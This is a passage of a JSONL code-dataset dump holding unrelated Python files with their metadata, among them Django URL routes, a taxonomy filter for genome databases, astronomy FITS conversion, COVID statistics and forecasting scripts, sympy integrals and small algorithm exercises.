path('quizzes//delete', views.delete_quiz, name='delete_quiz'),\n path('quizzes//solve', views.solve_quiz, name='solve_quiz'),\n path('my_quizzes/', views.list_player_quizzes, name='my_quizzes'),\n]\n","sub_path":"quiz/quizzes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"560042010","text":"from django.conf.urls import patterns, url, include\nfrom rango import views\n\nurlpatterns = patterns('',\n\turl(r'^$', views.index, name='index'),\n\turl(r'^bares/(?P[\\w\\-]+)/$', views.bar, name='bar'), # New!\n\turl(r'^bares/(?P\\w+)/add_tapa/$', views.add_tapa, name='add_tapa'),\n\turl(r'^claim_data/$', views.claim_data, name='claim_data'),\n\turl(r'^register/$', views.register, name='register'), # ADD NEW PATTERN!\n url(r'^login/$', views.user_login, name='login'),\n url(r'^restricted/$', views.restricted, name='restricted'),\n url(r'^logout/$', views.user_logout, name='logout'),\n\t)\n","sub_path":"P4/tango_with_django_project/rango/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"190380562","text":"#!/usr/bin/env python\n\n#-----------------------------------------------------------------------------\n# Copyright (c) 2016--, Evguenia Kopylova, Jad Kanbar\n#\n# Distributed under the terms of the Modified BSD License.\n#\n# The full license is in the file COPYING.txt, distributed with this software.\n#-----------------------------------------------------------------------------\n\n\"\"\"\nBuild Bowtie2 database on all reference genomes in Kraken report.\n\"\"\"\n\nimport click\nimport collections\n\ndef load_kraken_mpa_report(kraken_mpa_report_fp,\n taxa_levels,\n read_per_taxa):\n \"\"\"Absolute abundance of number of reads matching a defined taxa level.\n Parameters\n ----------\n kraken_mpa_report_fp: str\n filepath to output of \"kraken mpa report\"\n taxa_levels: list\n list of two elements that includes the taxonomic rank at which\n to generate summary and rank below to split by\n read_per_taxa: int\n integer of number of minimum number of reads to keep per taxa\n\n Returns\n -------\n taxonomies: set\n set of taxonomies from kraken_mpa_report_fp\n \"\"\"\n taxonomic_abundances= []\n for report_fp in kraken_mpa_report_fp:\n with open(report_fp) as report_fp:\n for line in report_fp:\n label, taxonomy = line.strip().split('\\t')\n if taxa_levels[0] in taxonomy:\n # keep taxonomy string up to specified level\n taxonomy_parse = taxonomy.split(taxa_levels[1])[0]\n taxonomy_parse = taxonomy_parse.replace('d__','k__')\n taxonomic_abundances.append(taxonomy_parse)\n\n taxonomies = set([k for k, v in\n collections.Counter(taxonomic_abundances).iteritems()\n if v > read_per_taxa])\n\n return taxonomies\n\ndef create_db_folder(repophlan_genomeid_taxonomy_fp,\n genome_tax,\n split_on_level,\n output_filename):\n\n \"\"\"Return sets for sample IDs and taxonomy strings.\n Parameters\n ----------\n repophlan_genomeid_taxonomy_fp: str\n filepath to output of repophlan file genome IDs and associated taxa\n genome_tax: set\n set of taxonomies from kraken_mpa_report_fp\n split_on_level: str\n string that determines the level to split the taxonomy in genome_tax\n output_filename: str\n string with output filename\n\n Returns\n -------\n Writes a text file with genome IDs, directory to genomes, and associated\n taxa from repophlan_genomeid_taxonomy_fp containned with the set\n genome_tax\n \"\"\"\n with open(output_filename, 'w') as f:\n with open(repophlan_genomeid_taxonomy_fp) as repophlan_genomeID_taxonomy_f:\n for line in repophlan_genomeID_taxonomy_f:\n tax_id_repo, directory_repo, taxonomy_repo =\\\n line.strip().split('\\t')\n taxonomy_repo = taxonomy_repo.split(split_on_level)[0]\n if taxonomy_repo in genome_tax:\n f.writelines(line)\n\n\n@click.command()\n\n@click.option('--kraken-mpa-report-fp', required=True, multiple=True,\n type=click.Path(resolve_path=True, readable=True, exists=True,\n file_okay=True),\n help='Filepath to Kraken report')\n@click.option('--repophlan-genomeID-taxonomy-fp', required=True,\n type=click.Path(resolve_path=True, readable=True, exists=False,\n file_okay=True),\n help='Filepath to RepoPhlAn genome ID and taxonomy list')\n@click.option('--taxonomic-rank', type=click.Choice(['genus', 'species',\n 'family', 'order',\n 'class', 'phylum',\n 'domain']),\n required=False, default=['genus'], show_default=True,\n help=\"Taxonomic rank at which to generate summary\")\n@click.option('--read-per-taxa', required=False,\n default=10, show_default=True,\n help=\"Minimum number of reads for each taxa\")\n@click.option('--output-filename', required=False,\n default='subset_repophlan_genomeID_taxonomy.good',\n show_default=True,\n help=\"Output filename for RepoPhlAn genome ID and taxonomy list\")\n\ndef main(kraken_mpa_report_fp,\n repophlan_genomeid_taxonomy_fp,\n taxonomic_rank,\n read_per_taxa,\n output_filename):\n\n taxa_levels = {\"domain\": \"d__\",\n \"phylum\": \"|p__\",\n \"class\": \"|c__\",\n \"order\": \"|o__\",\n \"family\": \"|f__\",\n \"genus\": \"|g__\",\n \"species\": \"|s__\"}\n\n taxa_levels_idx = {\"d__\": 0, \"|p__\": 1, \"|c__\": 2,\n \"|o__\": 3, \"|f__\": 4, \"|g__\": 5,\n \"|s__\": 6, \"6\": \"|s__\", \"5\": \"|g__\",\n \"4\": \"|f__\", \"3\": \"|o__\", \"2\": \"|c__\",\n \"1\": \"|p__\", \"0\": \"d__\"}\n\n taxa_levels_str=taxa_levels[taxonomic_rank]\n taxa_levels_idx_int=taxa_levels_idx[taxa_levels_str]\n\n if taxa_levels_idx_int < 6:\n split_on_level = taxa_levels_idx[str(taxa_levels_idx_int + 1)]\n else:\n split_on_level = '\\t'\n\n taxonomic_set =\\\n load_kraken_mpa_report(\n kraken_mpa_report_fp=kraken_mpa_report_fp,\n taxa_levels=[taxa_levels_str,split_on_level],\n read_per_taxa=read_per_taxa)\n\n create_db_folder(\n repophlan_genomeid_taxonomy_fp=repophlan_genomeid_taxonomy_fp,\n genome_tax=taxonomic_set,\n split_on_level=split_on_level,\n output_filename=output_filename)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python_scripts/cgc_bowtie2_build.py","file_name":"cgc_bowtie2_build.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"381466604","text":"import sys\nimport os\n\nimport numpy as np\nimport json\nimport pandas as pd\nimport fileinput, sys\nimport csv\nimport time\nimport os.path\n\n# Load Source FIle, and calculate the MSC \nfrom Topolib.MSC.connect.method import MSC\n\n\ndef convertind(str):\n str1,str2 = str.split(',')\n return [int(str1),int(str2)]\n\ndef convert(str):\n newstr = []\n for i in str:\n str1,str2,str3 = i.split(',')\n newstr.append(convertkey(int(str1), int(str2)))\n return newstr\n\ndef convt(stra, ind):\n\n return(stra+', '+str(ind))\n\ndef convertkey(ind1,ind2):\n return str(ind1)+', '+str(ind2)\n\ndef convertkey3(ind1,ind2,ind3):\n return str(ind1)+', '+str(ind2)+', '+str(ind3)\n\ndef mergemin(c,p,d,per):\n outlist = []\n indpair = list(d.keys())\n indpair2 = np.array([convertind(pair) for pair in indpair ])\n listmax = indpair2[:,1][indpair2[:,0]==int(c)]\n for maxin in listmax:\n if convertkey(int(p),maxin) in indpair:\n\n temp = d[convertkey(int(c),maxin)]\n d[convertkey(int(p),maxin)]=d[convertkey(int(p),maxin)]+temp\n del d[convertkey(int(c),maxin)]\n outlist.append(convertkey3(int(p),maxin,per-1))\n outlist.append(convertkey3(int(c),maxin,per))\n\n else:\n d[convertkey(int(p),maxin)] = d.pop(convertkey(int(c),maxin))\n outlist.append(convertkey3(int(p),maxin,per-1))\n outlist.append(convertkey3(int(c),maxin,per))\n\n return outlist\n\ndef mergemax(c,p,d,per):\n outlist = []\n indpair = list(d.keys())\n indpair2 = np.array([convertind(pair) for pair in indpair ])\n listmin = indpair2[:,0][indpair2[:,1]==int(c)]\n for minin in listmin:\n if convertkey(minin,int(p)) in indpair:\n\n temp = d[convertkey(minin,int(c))]\n d[convertkey(minin,int(p))]=d[convertkey(minin,int(p))]+temp\n del d[convertkey(minin,int(c))]\n outlist.append(convertkey3(minin,int(p),per-1))\n outlist.append(convertkey3(minin,int(c),per))\n\n else:\n d[convertkey(minin, int(p))] = d.pop(convertkey(minin, int(c)))\n outlist.append(convertkey3(minin, int(p),per-1))\n outlist.append(convertkey3(minin, int(c),per))\n\n return outlist\n\nif __name__ == '__main__':\n # Using MSC library to calculate MSC, save base partitions and tree hierarchy\n X = None\n Y = None\n\n new_MSC = MSC(X, Y, debug=True)\n\n new_MSC.loadData('../data/Pu_TOT.csv')\n new_MSC.compute()\n # assign name /dir for the files to be saved\n new_MSC.save('../data/Hierarchy.csv', '../data/Base_Partition.json')\n\n # Post-process the data files\n hierarchy = np.genfromtxt('../data/Hierarchy.csv', delimiter=\",\")\n # sort hierarchy based on persistence\n hierarchy_sorted = hierarchy[np.argsort(hierarchy[:, 0])]\n\n with open('../data/Base_Partition.json') as data_file:\n data = json.load(data_file)\n # Not sure if necessary, get rid of it for now\n Pinter = hierarchy_sorted[-1,0]+1\n\n child = hierarchy_sorted[hierarchy_sorted[:, 0] < Pinter][:, 2]\n parent = hierarchy_sorted[hierarchy_sorted[:, 0] < Pinter][:, 3]\n tomerge = hierarchy_sorted[hierarchy_sorted[:, 0] < Pinter]\n\n newdict = data.copy()\n\n [r, c] = tomerge.shape\n perdict = {}\n totallist = [];\n for i in range(r):\n if tomerge[i, 1] == 0:\n perdict[tomerge[i, 0]] = mergemin(int(child[i]), int(parent[i]), newdict, r - i)\n\n else:\n perdict[tomerge[i, 0]] = mergemax(int(child[i]), int(parent[i]), newdict, r - i)\n\n plist = tomerge[:, 0]\n pre = plist[-1]\n curlist = []\n treedata = {}\n treedata[0] = convert([perdict[tomerge[-1, 0]][0]])\n totaltree = {}\n totaltree[-1] = convert([perdict[tomerge[-1, 0]][0]])\n plist = plist[1:]\n total = len(plist)\n\n for ind, i in reversed(list(enumerate(plist))):\n curlist = set(convert(perdict[i]) + list(curlist))\n treedata[total - ind] = list(curlist)\n totaltree[i] = list(curlist)\n pre = i\n\n totallist = totallist + perdict[i]\n\n with open('../data/Tree_Data.json', 'w') as fp:\n json.dump(totaltree, fp)\n num = len(totaltree)\n\n for i in range(num):\n clist = treedata[i]\n for j in clist:\n totallist = totallist + [convt(j, i), convt(j, i + 1)]\n\n mlist = np.array(totallist)\n pclist = mlist.reshape(int(len(mlist) / 2), 2)\n ## Root Node\n line1 = \",,0,\" + pclist[0][0]\n ## Headers\n line0 = \"P1,P2,Pi,C1,C2,Ci\"\n\n df = pd.DataFrame(pclist)\n df.to_csv(\"../data/Tree_Merge.csv\", header=None, index=False)\n\n with open('../data/Tree_Merge.csv', 'r') as original:\n data = original.read()\n with open('../data/Tree_Merge.csv', 'w') as modified:\n modified.write(line0 + \"\\n\" + line1 + \"\\n\" + data)\n\n for line in fileinput.input([\"../data/Tree_Merge.csv\"], inplace=True):\n line = line.replace(\"\\\"\", \"\")\n line = line.replace(\" \", \"\")\n # sys.stdout is redirected to the file\n sys.stdout.write(line)\n\n\n\n","sub_path":"script/backup/Process.py","file_name":"Process.py","file_ext":"py","file_size_in_byte":5018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"51329439","text":"#\nimport os\nimport sys\nimport logging\n\nlogger = logging.getLogger(__name__)\nimport configparser\n\nimport numpy as np\nimport astropy.io.fits as fits\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as tck\n\n# from ..utils.obslog import read_obslog, find_log\n# from ..utils.misc import write_system_info\n# from . import foces\n\n\n###############################\npath = \"testfiles/\"\n\n\nfname_lst = sorted(os.listdir(path))\nprev_frameid = 0\nfor fname in fname_lst:\n if fname[-5:] != '.fits':\n continue\n else:\n print(fname)\n\n\n # open one of the GAMSE fits files\n # with fits.open(\"samples/20191019_0110_FOC1903_SCC2_ods.fits\") as datei:\n with fits.open(path + fname) as datei:\n # show what the content of the file looks like\n print(datei.info())\n # read the header and the data into variables\n headyyy = datei[0].header\n datennn = datei[1].data\n # print the exposure time from the header\n print(headyyy['EXPOSURE'])\n print(\"----------------------------------------\")\n\n\n # make a new header entry (2 different ways)\n # headyyy['TESTENT'] = 'This is something new.'\n # headyyy.set('TESTENT2', 'This is something more new.')\n # print the header in a nicely readable form\n # print(repr(headyyy))\n\n # show different things about the fits file data section\n # print(datennn.shape)\n # print(datennn[-3])\n # print(datennn.columns.info())\n\n # open the GAMSE fits file and read the data section into the data variable\n # data = fits.getdata(\"samples/20191019_0110_FOC1903_SCC2_ods.fits\")\n data = fits.getdata(path + fname)\n\n # check if the data are single or multi fiber\n if 'fiber' in data.dtype.names:\n # multi fiber\n for fiber in np.unique(data['fiber']):\n spec = {}\n mask = data['fiber'] == fiber\n for row in data[mask]:\n # read the data row by row\n order = row['order']\n wave = row['wavelength'] # this is an array\n flux = row['flux'] # this is an array\n\n # make a header for the new fits file\n new_headyyy = headyyy\n new_headyyy[\"CRPIX1\"] = (\"1.\", \"Reference pixel\")\n # get the starting wavelength of the current order\n start_wl = wave[0]\n new_headyyy[\"CRVAL1\"] = (start_wl, \"Coordinate at reference pixel\")\n # calculate the step size of the current order\n wl_step = (wave[-1]-wave[0])/int(headyyy[\"HIERARCH GAMSE WLCALIB FIBER {} NPIXEL\".format(fiber)])\n new_headyyy[\"CDELT1\"] = (wl_step, \"Coord.incr.per pixel(original value)\")\n # add some more useful header entries\n new_headyyy[\"CTYPE1\"] = (' ', 'Units of coordinate')\n new_headyyy[\"BUNIT\"] = (' ', 'Units of data values')\n new_headyyy[\"DATAMAX\"] = (str(np.max(flux)), \"Maximum data value\")\n new_headyyy[\"DATAMIN\"] = (str(np.min(flux)), \"Minimum data value\")\n\n # # convert the header to a (primary) HDU object\n # new_headyyy_HDU = fits.PrimaryHDU(header=new_headyyy)\n # # put the wavelength and flux data into a Binary Table\n # col_wave = fits.Column(name='wavelength', format='D', array=wave)\n # col_flux = fits.Column(name='flux', format='D', array=flux)\n # collies = fits.ColDefs([col_wave, col_flux])\n # new_datennn = fits.BinTableHDU.from_columns(collies)\n\n # # make a new fits file with the new header as primary and data as BinTable HDU\n # new_fitsiii = fits.HDUList([new_headyyy_HDU, new_datennn])\n # # new_fitsiii.writeto('output/new_fits_test_ord{:03d}_{}.fits'.format(order, fiber))\n\n # make a new fits file with the header and data BOTH as primary HDU, because this is what IRAF expects\n new_fitsiii2 = fits.PrimaryHDU(header=new_headyyy, data=flux)\n new_fitsiii2.writeto('output/{}_ord{:03d}_{}_IRAF.fits'.format(fname[:-5], order, fiber))\n\n else:\n print(\"Warning: this is a single fiber file: {}\".format(fname))\n","sub_path":"fxcor/oldfiles/gamse_to_iraf_converter.py","file_name":"gamse_to_iraf_converter.py","file_ext":"py","file_size_in_byte":4257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"219164440","text":"import requests\nimport datetime\n\n\nmy_lat = 35.652832\nmy_lng = 139.839478\nparameters = {\n \"lat\" : my_lat ,\n \"lng\" : my_lng,\n \"formatted\" : 0\n}\n\nresponse = requests.get(url=\"https://api.sunrise-sunset.org/json\", params=parameters, )\nresponse.raise_for_status()\ndata = response.json()\nprint(data)\nsunrise = data[\"results\"][\"sunrise\"].split(\"T\")[1].split(\":\")[0] #切到只剩下 幾點\nsunset = data[\"results\"][\"sunset\"].split(\"T\")[1].split(\":\")[0]\nprint(sunset)\nprint(sunrise)\n\ntime = datetime.datetime.now()\nprint(time)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"316975054","text":"import requests\nimport bs4\nfrom bs4 import BeautifulSoup\nimport json\nimport numpy\nfrom scipy import stats\nimport matplotlib.pyplot as plt\n\n\ndef extractReproductionNumbers(state):\n url = \"https://stochastik-tu-ilmenau.github.io/COVID-19/germany\"\n re = requests.get(url)\n soup = BeautifulSoup(re.text, \"html.parser\")\n data = json.loads(\n soup.find(\"div\", {\"id\": state})\n .find(\"script\", type=\"application/json\")\n .contents[0]\n )\n reproduction_numbers = data[\"x\"][\"data\"][0][\"y\"]\n date_of_reproduction_numbers = data[\"x\"][\"data\"][0][\"x\"]\n\n reproduction_numbers = getRidOfNone(reproduction_numbers)\n date_of_reproduction_numbers = getRidOfNone(date_of_reproduction_numbers)\n\n return {\n \"dates\": date_of_reproduction_numbers,\n \"numbers\": reproduction_numbers,\n }\n\n\ndef getRidOfNone(array):\n return [x for x in array if x is not None]\n\n\ndef splitSeperationNumbersByDate(reproduction_numbers_dataset, date_str):\n entry_index = reproduction_numbers_dataset[\"dates\"].index(date_str)\n no_lockdown = reproduction_numbers_dataset[\"numbers\"][:entry_index]\n lockdown = [\n x for x in reproduction_numbers_dataset[\"numbers\"] if x not in no_lockdown\n ]\n return no_lockdown, lockdown\n\n\ndef plotDiagramm(label, data):\n plt.bar(label[\"category\"], data)\n plt.title(label[\"title\"])\n plt.xlabel(label[\"xlabel\"])\n plt.ylabel(label[\"ylabel\"])\n plt.show()\n\n\ndef calculateMeanAndStd(no_lockdown, lockdown):\n return {\n \"no_lockdown\": {\"mean\": numpy.mean(no_lockdown), \"std\": numpy.std(no_lockdown)},\n \"lockdown\": {\"mean\": numpy.mean(lockdown), \"std\": numpy.std(lockdown)},\n }\n\n\ndef welch_ttest(x, y):\n ## Welch-Satterthwaite Degrees of Freedom ##\n dof = (x.var() / x.size + y.var() / y.size) ** 2 / (\n (x.var() / x.size) ** 2 / (x.size - 1) + (y.var() / y.size) ** 2 / (y.size - 1)\n )\n\n t, p = stats.ttest_ind(x, y, equal_var=False)\n return dof, t, p\n\n\ndef addAcceptOrRejectHypothesisText(p_val):\n if p_val > 0.05:\n return \" ⇒ keinen signifikanten unterschied in r.\"\n\n return \" ⇒ signifikanten unterschied in r.\"\n\n\nstates = [\n \"deutschland\",\n \"baden-württemberg\",\n \"bayern\",\n \"berlin\",\n \"brandenburg\",\n \"bremen\",\n \"hamburg\",\n \"hessen\",\n \"mecklenburg-vorpommern\",\n \"niedersachsen\",\n \"nordrhein-westfalen\",\n \"rheinland-pfalz\",\n \"saarland\",\n \"sachsen\",\n \"sachsen-anhalt\",\n \"schleswig-holstein\",\n \"thüringen\",\n]\n# for current_state in states:\ncurrent_state = \"deutschland\"\nlockdown_date = \"2020-03-24\"\nreproduction_numbers_dataset = extractReproductionNumbers(current_state)\nno_lockdown, lockdown = splitSeperationNumbersByDate(\n reproduction_numbers_dataset, lockdown_date\n)\nmean_and_std = calculateMeanAndStd(no_lockdown, lockdown)\ndof, t_val, p_val = welch_ttest(numpy.array(no_lockdown), numpy.array(lockdown))\nif p_val > 0.05:\n print(\n f\"{current_state}: Coronamaßnahmen haben keinen signifikanten einfluss auf Reproduktionszahl r\"\n + f\"(Gruppe1: M={mean_and_std['no_lockdown']['mean']:.3f}, SD={mean_and_std['no_lockdown']['std']:.3f};\"\n + f\" Gruppe2: M={mean_and_std['lockdown']['mean']:.3f}, SD={mean_and_std['lockdown']['std']:.3f})\"\n + f\"; t({dof:.0f})={t_val:.3f}, p = {p_val:.3f}.\"\n )\n\nplotDiagramm(\n {\n \"category\": [\"no_lockdown (datum< 24.03.20)\", \"lockdown (datum>= 24.03.20)\"],\n \"title\": \"corona reproduktionszahl vor / während des lockdowns in \"\n + current_state,\n \"xlabel\": f\"welsh t-test: t({dof:.0f})={t_val:.3f}, p = {p_val:.3f}\"\n + addAcceptOrRejectHypothesisText(p_val),\n \"ylabel\": \"reproduktionszahl r\",\n },\n [numpy.mean(no_lockdown), numpy.mean(lockdown)],\n)\n","sub_path":"corona_scipy_stats.py","file_name":"corona_scipy_stats.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"99273541","text":"import sympy as sym\r\nimport sympy.physics.wigner as spw\r\n\r\ndef lamb(a, b, g):\r\n x = (2*a + 1)*(2*b + 1)*(2*g + 1)\r\n y = sym.sqrt(x)\r\n return y\r\n\r\ndef delta(a, b, g):\r\n x = sym.Rational((a + b + g + 2)*(a + b + g + 4)*(a + b - g + 1)*(a - b + g + 1)\\\r\n *(-a + b + g), 4*(a + b + g + 3.0))\r\n y = sym.sqrt(x)\r\n return y\r\n\r\ndef adamsgaunt(a, b, g, ma, mb, mg):\r\n x = spw.gaunt(a, b, g, ma, mb, mg)\r\n y = (4*sym.pi)**(sym.Rational(3, 2))*x\r\n return y\r\n\r\ndef elsasser(a, b, g, ma, mb, mg):\r\n x = -4*sym.pi*lamb(a, b, g)*delta(a, b, g)*\\\r\n spw.wigner_3j(a + 1, b + 1, g + 1, 0, 0, 0)*\\\r\n spw.wigner_3j(a, b, g, ma, mb, mg)\r\n y = sym.I*x \r\n return y\r\n\r\n\r\n","sub_path":"integrals.py","file_name":"integrals.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"77936824","text":"from tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Activation\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras import optimizers\nimport numpy as np\nimport matplotlib.dates as mdates\nimport pandas as pd\nimport datetime\n\n\ndef preprocess():\n \"\"\"\n Opens csv file containing cumulative cases in the UK since the start of the pandemic and extracts the fields\n for date and cases. Then rearranges the dataset in a rolling method into an array for previous day cases and\n forecasted day cases.\n\n Example for days = 14 with first data at 1/1/21 (forecasted days = 2):\n The function will first take 14 days of cases from 1/1/21 to 14/1/21, creates an array and adds this to the\n previous array and adds the cases for 15/1/21 to 16/1/21 to the forecast array. In the next iteration, the cases\n for 2/1/21 to 15/1/21 are then added to the previous array and cases for 16/1/21 to 17/1/21 is added to the forecast\n array. The function iterates until all of the dataset has been considered. Note that this introduces overlapping and\n reuse of most of the cases.\n\n :return: array of previous, forecast cases\n normalisation_factor: the maximum cases number used to normalise the dataset to between 0 and 1\n dates_array: arracy containing all the dates of the dataset\n \"\"\"\n df = pd.read_csv(labels_filename, usecols=column) # Opens csv file and extracts the columns for cases and dates\n dates_array = pd.read_csv(labels_filename, usecols=[\"date\"]) # Opens same csv file but only extracts the dates\n dates_array = dates_array.iloc[::-1] # Reverses the array so that the start of the pandemic is at the start of the array\n dates_array = dates_array.values.tolist() # converts panda data frame to list\n dates_array = [datetime.datetime.strptime(d[0], \"%Y-%m-%d\").date() for d in dates_array] # converts string dates to datetime format\n reversed_df = df.iloc[::-1]\n normalization_factor = reversed_df[\"cumCasesBySpecimenDate\"].max() # Find the maximum number of cases in the dataset\n reversed_df = reversed_df.to_numpy()\n numOfDataEntries = len(reversed_df) - (time_step + forecast_days) # Determines the number of data entries that will be extracted from the dataset\n iteration = 0\n previous = []\n forecast = []\n while iteration < numOfDataEntries: # Iterates through dataset and builds the input and output datasets for training\n previous.append(reversed_df[iteration:time_step + iteration, 1]) # Creates array for n previous day cases\n forecast.append(reversed_df[iteration + time_step: iteration + time_step + forecast_days, 1]) # Creates array for n forecast day cases\n iteration += 1 # Keeps track of the current data entry being created\n\n # Normalise all data to between 0 and 1\n previous = np.array(previous) / normalization_factor\n forecast = np.array(forecast) / normalization_factor\n return previous, forecast, normalization_factor, dates_array\n\n\ndef get_data():\n \"\"\"\n Called in main to format the dataset into appropriate input and output arrays, splitting the arrays into training\n and testing data sets\n :return: Numpy array for training and testing data sets\n normalisation_factor: the maximum cases number used to normalise the dataset to between 0 and 1\n dates_array: arracy containing all the dates of the dataset\n \"\"\"\n X, Y, normalization_factor, dates_array = preprocess()\n dataset_size = len(X)\n training_size = int(dataset_size * 0.575)\n train_X = X[:training_size]\n train_Y = Y[:training_size]\n test_X = X[training_size:]\n test_Y = Y[training_size:]\n\n return train_X, train_Y, test_X, test_Y, normalization_factor, X, Y, dates_array, training_size\n\n\ndef plot_predictions(dates_array, prediction_values, actual_values):\n \"\"\"\n For building a series of subplots for showing the predicted values and actual values for each Neural Network model\n that were trained using different number of inputs (previous days)\n :param dates_array: Array of all dates within the dataset\n :param prediction_values: Array of predicts from the Neural Network\n :param actual_values: Array of actual case values taken from the dataset\n\n :return: Counter for tracking subplots\n \"\"\"\n plt.figure()\n plt.plot_date(dates_array[start_date:start_date + len(prediction_values)], prediction_values[:, -1], xdate=True, label='predictions', linestyle='-', marker=' ', linewidth=2)\n plt.plot_date(dates_array[start_date:start_date + len(prediction_values)], actual_values[:, -1], xdate=True, label='actual', linestyle='-', marker=' ', linewidth=2)\n plt.xlabel('Day')\n plt.ylabel('Cumulative Cases')\n plt.title('Covid Forecaster predictions')\n # Generate grid lines\n plt.grid(b=True, which='major', color='#666666', linestyle='-')\n plt.minorticks_on()\n plt.grid(b=True, which='minor', color='#999999', linestyle='-', alpha=0.2)\n\n plt.legend()\n # Formats appropriate format for the dates in the X axis\n locator = mdates.MonthLocator() # every month\n fmt = mdates.DateFormatter('%m/%Y')\n X_axis = plt.gca().xaxis\n X_axis.set_major_locator(locator)\n X_axis.set_major_formatter(fmt)\n\n\ndef calc_accuracy(prediction_values, actual_values, error_margin):\n \"\"\"\n Function for determining the performance of the Neural Network by comparing the predicted values from the network\n to known cases. The use of an error margin defines the offset of the predicted value from the real value for which\n is acceptable and considered as a correct prediction\n :param prediction_values: Array of predicted values\n :param actual_values: Array of known values\n :param error_margin: Fractional value used to define the acceptable range for the predictions\n :return: Updated array of performances with the current Neural Network score\n \"\"\"\n correct = 0\n for prediction, known in zip(prediction_values, actual_values): # Goes through each data entry of prediction and actual arrays\n for prediction_item, known_item in zip(prediction, known): # Nested for loop to then iterate through each prediction and actual values for the current data entry\n if prediction_item > known_item and prediction_item < known_item + (known_item*error_margin): # Determines whether the predicted value is greater than actual value but lies within the suitable range\n correct += 1\n elif prediction_item < known_item and prediction_item > known_item - (known_item*error_margin): # Determines whether the predicted value is less than actual value but lies within the suitable range\n correct += 1\n elif prediction_item == known_item:\n correct += 1\n return correct/(len(predictions)*len(predictions[1]))\n\n\nlabels_filename = \"data_2021-Mar-18.csv\" # Name of CSV file containing dataset\ncolumn = [\"date\", \"cumCasesBySpecimenDate\"] # Columns of interest from the dataset\ntime_step = 35 # Number of previous days the Neural Network will take in as inputs\nforecast_days = 10 # Number of days in advance to be forecasted by neural network\nepochs = 300\nerror = 0.05 # Error margin used to determine the range of acceptable predictions for each known value\n\n# Generate training and testing datasets\ntr_X, tr_Y, te_X, te_Y, normalization, X, Y, dates, start_date = get_data()\n\nX = X.astype('float32')\ntr_X = tr_X.astype('float32')\nte_X = te_X.astype('float32')\ntr_Y = tr_Y.astype('float32')\nte_Y = te_Y.astype('float32')\n\nactivation = 'linear'\nmodel = Sequential()\nmodel.add(Dense(256, input_dim=time_step)) # Number of input neurons depends on the number of previous days the NN will use to generate predictions\nmodel.add(Activation(activation))\n\nmodel.add(Dense(96))\nmodel.add(Activation(activation))\n\nmodel.add(Dense(48))\nmodel.add(Activation(activation))\n\nmodel.add(Dense(28))\nmodel.add(Activation(activation))\n\nmodel.add(Dense(forecast_days)) #Final layer has same number of neurons as classes\nmodel.add(Activation('linear'))\n\noptimizer = optimizers.Nadam(learning_rate=0.0001)\n\nmodel.compile(loss='mean_squared_error', optimizer=optimizer, metrics=['mse'])\n\n# Introducing early stoppage\n# es_callback = EarlyStopping(monitor='val_loss', patience=3), callbacks=[es_callback]\n\nhistory = model.fit(tr_X, tr_Y, epochs=epochs)\n\n# For Saving NN Model\n# model.save(\"B1_NN_Model_new\")\n\n# Make predictions\npredictions = model.predict(te_X) * normalization\nactual = te_Y * normalization\npredictions = predictions.astype(\"int\")\nactual = actual.astype(\"int\")\n\n# Plot graph of predictions and actual covid cases\nplot_predictions(dates, predictions, actual)\naccuracy = calc_accuracy(predictions, actual, error)\n\nprint(\"Accuracy of Model: \" + str(round(accuracy*100, 2))+\"%\")\nplt.show()\n\n","sub_path":"single_forecaster.py","file_name":"single_forecaster.py","file_ext":"py","file_size_in_byte":8871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"188031327","text":"# Given a string S, we can transform every letter individually to be lowercase or uppercase to create another string. Return a list of all possible strings we could create.\n\n# Examples:\n# Input: S = \"a1b2\"\n# Output: [\"a1b2\", \"a1B2\", \"A1b2\", \"A1B2\"]\n\n# Input: S = \"3z4\"\n# Output: [\"3z4\", \"3Z4\"]\n\n# Input: S = \"12345\"\n# Output: [\"12345\"]\n\n# Time: O(2 ^ N)\n# Space: O(N)\n\ndef letter_case_permutation(s):\n\tresult = []\n\ts = list(s.lower())\n\tdfs(0, s, result)\n\treturn result\n\ndef dfs(start, s, result):\n\tif start == len(s):\n\t\tresult.append(''.join(s))\n\t\treturn\n\n\tdfs(start + 1, s, result)\n\tif s[start].isalpha():\n\t\ts[start] = s[start].upper()\n\t\tdfs(start + 1, s, result)\n\t\ts[start] = s[start].lower()\n\nprint(letter_case_permutation('a1b2'))","sub_path":"IK/Recursion/LetterCasePermutation.py","file_name":"LetterCasePermutation.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"14955502","text":"def check_frequency(input):\n \"\"\"\n Perform counting based on input queries and return queries result.\n\n Na wejściu otrzymujemy parę liczb całkowitych - operacja, wartość.\n Możliwe operacje:\n 1, x: zlicz x\n 2, x: usuń jedno zliczenie x jeżeli występuje w zbiorze danych\n 3, x: wypisz liczbę zliczeń x (0 jeżeli nei występuje)\n Do parsowania wejścia wykorzystaj funkcję parse_input.\n Po wejściu (już jakoliście) iterujemy tylko raz (jedna pętla).\n Zbiór danych zrealizuj za pomocą struktury z collections.\n\n :param input: pairs of int: command, value\n :type input: string\n :return: list of integers with results of operation 3\n :rtype: list\n \"\"\"\n from task_1 import parse_input\n import collections\n\n 